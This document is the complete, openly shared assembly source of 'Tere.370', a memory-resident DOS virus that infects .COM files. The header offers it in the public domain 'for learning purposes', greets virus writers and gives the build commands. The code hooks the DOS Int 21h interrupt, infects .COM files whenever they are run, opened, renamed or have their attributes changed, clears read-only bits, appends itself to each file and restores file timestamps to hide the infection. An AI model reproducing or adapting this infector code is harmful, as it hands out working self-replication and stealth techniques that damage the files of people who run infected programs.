;Tere.370 v1.0 NiL
;
;Licence :]
;==============================================================================
;This code is public domain. So You can take it or leave it / modify it / use
;it for Your own purposes etc. If You wish to show respect to my work leave
;those magic letters NiL inside code. BTW this is not my pseudonym. It is
;rather a codename for my activity of producing these tiny self-replicating
;pieces of code. Have fun!
;
;Introduction
;==============================================================================
;My very first infector. Not so bad as the "Hello Worlds" usually are. (BTW
;the text pattern "Tere maailm!" inside code in Estonian means "Hello World!".)
;Good for learning purposes.
;Memory resident .COM infector for DOS executables. It stays resident and
;infects .COM files when they are executed, renamed/moved, opened or their
;attributes are changed. Int21 calls:
;  AX,4B00h Execution
;  AX,3D00h Open for reading
;  AX,4301h Set attribute
;  AH,56h   Rename/Move
;No payload.
;
;Features
;==============================================================================
;FD write protection check.
;  Reads and tries to write back a sector using Int13 services.
;
;File Read-Only bit removal
;  Removes the R-bit when needed and sets back after the job is done.
;
;For further reading visit:
;==============================================================================
;http://www.datafellows.com/v-descs/tere.htm
;
;Greetings
;==============================================================================
;to virii writers - keep up a good work & don't write harmful virii,
;to Wannabees for having an interest in something most people do not have:
;   Knowledge (no ironics),
;to AV people for earning their living in fighting our progs (no ironics),
;to VLAD for producing high-quality technical magazines,
;to Ralf Brown for his wonderful interrupt list,
;to creators of SoftIce, Sourcer, Hiew for magnificent tools,
;to all involved in the scene (Sorry, I think I'm going to leave the scene
;  soon).
;
;==============================================================================
;Here it comes and assembles using commands:
;tasm /m2 tere.asm
;tlink /t /x tere.obj
	 .MODEL	 TINY
	 .CODE
	 ORG	 100h

ID	 EQU	 99h                   ;Resident? id
ProgOfs  EQU     100h                  ;COM program offset
VirSize  EQU	 @End-@Start           ;V size
BufOfs	 EQU     VirSize+4             ;Sector r/w buffer offset
BufSize	 EQU	 1024                  ;Sector r/w buffer size
;-----------------------------------------------------------------------------
@Begin:	 DB	 1Eh,0E9h,4,0          ;PUSH DS, JMP V_Code
;-----------------------------------------------------------------------------
@Start:	 DB	 0C3h,0,0,0            ;Original beginning of program
	 CLD
	 XOR	 BX,BX
	 CALL	 @Next                 ;Calculate V offset
@Nop:	 DB	 'NiL'
@Next:	 POP	 SI
	 MOV	 DS,BX
	 SUB	 SI,@Nop-@Start

	 CMP	 BYTE PTR DS:[BX],ID   ;Already resident?
	 JE	 @Done

	 MOV	 CX,CS                 ;Make new MCB
	 DEC	 CX
	 MOV	 DS,CX
	 SUB	 WORD PTR DS:[12h],(BufOfs+BufSize+15)/16+1
	 MOV	 BX,DS:[12h]
	 SUB	 WORD PTR DS:[03h],(BufOfs+BufSize+15)/16+1
	 MOV	 ES,BX
	 XOR	 DI,DI
	 MOV	 AL,'Z'
	 STOSB
	 MOV	 AX,08h
	 STOSW
	 MOV	 AX,(BufOfs+BufSize+15)/16
	 STOSW
	 INC	 BX
	 MOV	 ES,BX

	 PUSH	 CS
	 POP	 DS
         PUSH    SI
	 XOR	 DI,DI
	 MOV	 CX,(VirSize+1)/2
	 REP	 MOVSW                 ;Move V to memory DS:[SI]->ES:[DI]

	 XOR	 BX,BX
	 MOV	 DS,BX
	 PUSH	 ES
	 PUSH	 DS
	 POP	 ES
	 MOV	 SI,21h*4
	 MOV	 DI,03h*4
	 PUSH	 DI
	 MOVSW
	 MOVSW
	 POP	 SI
	 POP	 ES
	 MOV	 DI,VirSize            ;Place for old handler
	 MOVSW                         ;Save old Int 21h handler address
	 MOVSW
	 MOV	 WORD PTR DS:[21h*4],@New21-@Start
	 MOV	 BYTE PTR DS:[BX],ID
	 MOV	 DS:[21h*4+2],ES

	 POP     SI
	 PUSH	 CS                    
	 POP	 ES
@Done:	 POP	 DS
	 MOV	 DI,ProgOfs
	 PUSH	 DI                    ;Program offset (100h) into stack
	 MOVSW                         ;Restore original beginning of file
	 MOVSW
	 RETN                          ;Jump to program code
;-----------------------------------------------------------------------------
Msg	 DB	 'Tere maailm!'
OurByte	 DB	 1Eh,0E9h,0,0
;-----------------------------------------------------------------------------
@New21:	 CMP	 AX,4B00h              ;Execution service?
	 JE	 @Inf
	 CMP	 AX,3D00h              ;Open for reading service?
	 JE      @Inf
	 CMP	 AX,4301h              ;Set attribute service?
	 JE	 @Inf
	 CMP	 AH,56h                ;Rename/Move service?
	 JE	 @Inf
	 JMP     @OldHand
;-----------------------------------------------------------------------------
@Inf: 	 PUSH	 AX
	 PUSH	 BX
	 PUSH	 CX
	 PUSH	 SI
	 
	 MOV	 SI,DX
	 CLD
@Letter: LODSB
	 OR	 AL,AL
	 JZ	 @Prot
	 CMP	 AL,'.'
	 JNE	 @Letter
	 LODSW
	 AND	 AX,0DFDFh
	 CMP	 AX,'OC'
	 JNE	 @Prot
	 LODSB
	 AND	 AL,0DFh
	 CMP	 AL,'M'
	 JNE	 @Prot
	 MOV	 AX,DS:[SI-11]
	 AND	 AX,0DFDFh
	 CMP	 AX,'OC'
	 JE	 @Prot
;--------------------------------------
	 PUSH	 DX
	 PUSH	 ES
	 XCHG	 SI,DX
	 LODSW
	 CMP	 AH,':'
	 JNE	 @Default
	 OR	 AL,20h
	 SUB	 AL,'a'
	 JMP	 @NoDeflt
@Default:MOV	 AH,19h
	 INT	 03h
@NoDeflt:CMP	 AL,1
	 JA	 @Done13
	 XCHG	 DX,AX                 ;DL:=Drive
	 XOR	 DH,DH                 ;DH:=Head=0
	 MOV	 CX,0101h              ;CH:=Track(0-n); CL:=Sector(1-n)
	 PUSH	 CS
	 POP	 ES
	 MOV	 BX,BufOfs
	 MOV	 AX,0201h              ;AH:=SubFn(Read); AL:=Sector count
	 INT	 13h
	 JC	 @Done13
	 MOV	 AX,0301h              ;AH:=SubFn(Write)
	 INT	 13h
@Done13: POP	 ES
	 POP	 DX
	 JNC	 @NoProt
@Prot:	 JMP	 @Wrong
;--------------------------------------
@NoProt: MOV	 AX,4300h
	 INT	 03h                   ;Get file attributes
	 JC	 @Wrong
	 PUSH	 DX
	 PUSH	 DS
	 PUSH	 CX
	 MOV	 AX,4301h
	 XOR	 CX,CX
	 INT	 03h                   ;Clear file attributes
	 JC	 @OpenErr
;--------------------------------------
	 MOV	 AX,3D02h              ;Open executed file
	 INT	 03h
	 JC	 @OpenErr
	 XCHG	 BX,AX                 ;Handle of file into BX

	 PUSH	 CS
	 POP	 DS

	 MOV	 CX,4                  ;Read CX first bytes of file to DS:[DX]
	 MOV	 AH,3Fh
	 CWD
	 INT	 03h
	 JC	 @FileErr

	 CMP	 WORD PTR DS:[0],0E91Eh
	 JE	 @FileErr              ;File already infected
	 CMP	 WORD PTR DS:[0],'ZM'
	 JE	 @FileErr

	 MOV	 AX,4202h              ;Seek EOF (FileSize into AX)
	 XOR	 CX,CX
	 CWD
	 INT	 03h

	 CMP	 AX,65535-(VirSize+ProgOfs)
	 JA	 @FileErr              ;File too big

	 MOV	 DS:[((OFFSET OurByte)-(OFFSET @Start))+2],AX
         
	 MOV	 AX,5700h              ;Get file time
	 INT	 03h
	 PUSH	 CX
	 PUSH	 DX

	 MOV	 CX,VirSize            ;Write V to end of file from DS:[DX]
	 MOV	 AH,40h
	 CWD
	 INT	 03h
	 JC	 @WrErr

	 MOV	 AX,4200h              ;Seek beginning of file
	 XOR	 CX,CX
	 CWD
	 INT	 03h

	 MOV	 CX,4                  ;Write jump instruction to file
	 MOV	 DX,(OFFSET OurByte)-(OFFSET @Start)
	 MOV	 AH,40h
	 INT	 03h

@WrErr:  MOV	 AX,5701h              ;Restore file time/date
	 POP	 DX
	 POP	 CX
	 INT	 03h	 

@FileErr:MOV	 AH,3Eh                ;Close file
	 INT	 03h
;--------------------------------------
@OpenErr:MOV	 AX,4301h
	 POP	 CX
	 POP	 DS
	 POP	 DX
	 INT	 03h                   ;Restore file attributes
;--------------------------------------
@Wrong:  POP	 SI
	 POP	 CX
	 POP	 BX
	 POP	 AX
@OldHand:DB	 0EAh                  ;Jump to
;-----------------------------------------------------------------------------
@End:	 END	 @Begin